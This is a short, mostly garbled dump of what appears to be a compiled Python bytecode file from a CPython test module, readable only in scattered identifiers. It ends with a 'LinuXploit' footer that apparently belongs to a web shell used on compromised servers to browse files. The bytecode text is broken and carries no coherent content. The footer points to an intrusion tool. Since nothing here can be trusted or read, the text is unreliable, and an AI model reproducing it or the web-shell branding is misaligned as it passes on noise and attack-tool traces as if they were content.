�h�<���A�v�v�a��~�.�.�����	��f�!��f�!��s�B�.B#� B r
)�global)rr[�pathlibr��unittest�test.supportr�Path�__file__�absolute�parent�
read_bytesr�r`�_testinternalcapir�TestCaserr,r�rr(rOrnr�r�r-r
rr�<module>rs~���
���� �&��l�l�8�$�-�-�/�6�6�=�=�D�D�G[�[�
g�
g�
i�F�o+�x�(�(�o+�h��
������
�	�
���
����������������� �!�"
�#�$�%�&�'�(�)�*
�+�,�-�.�/�0�1��6��	
�������	�
���
������������������� 
�!�"�#�&�'�(�)�*�+��0l�d�l�^>�>�Bh��h�VG�,>�&��c%�&�8�
#�
%�F�&�s�AD;�;E�E

Youez - 2016 - github.com/yon3zu
LinuXploit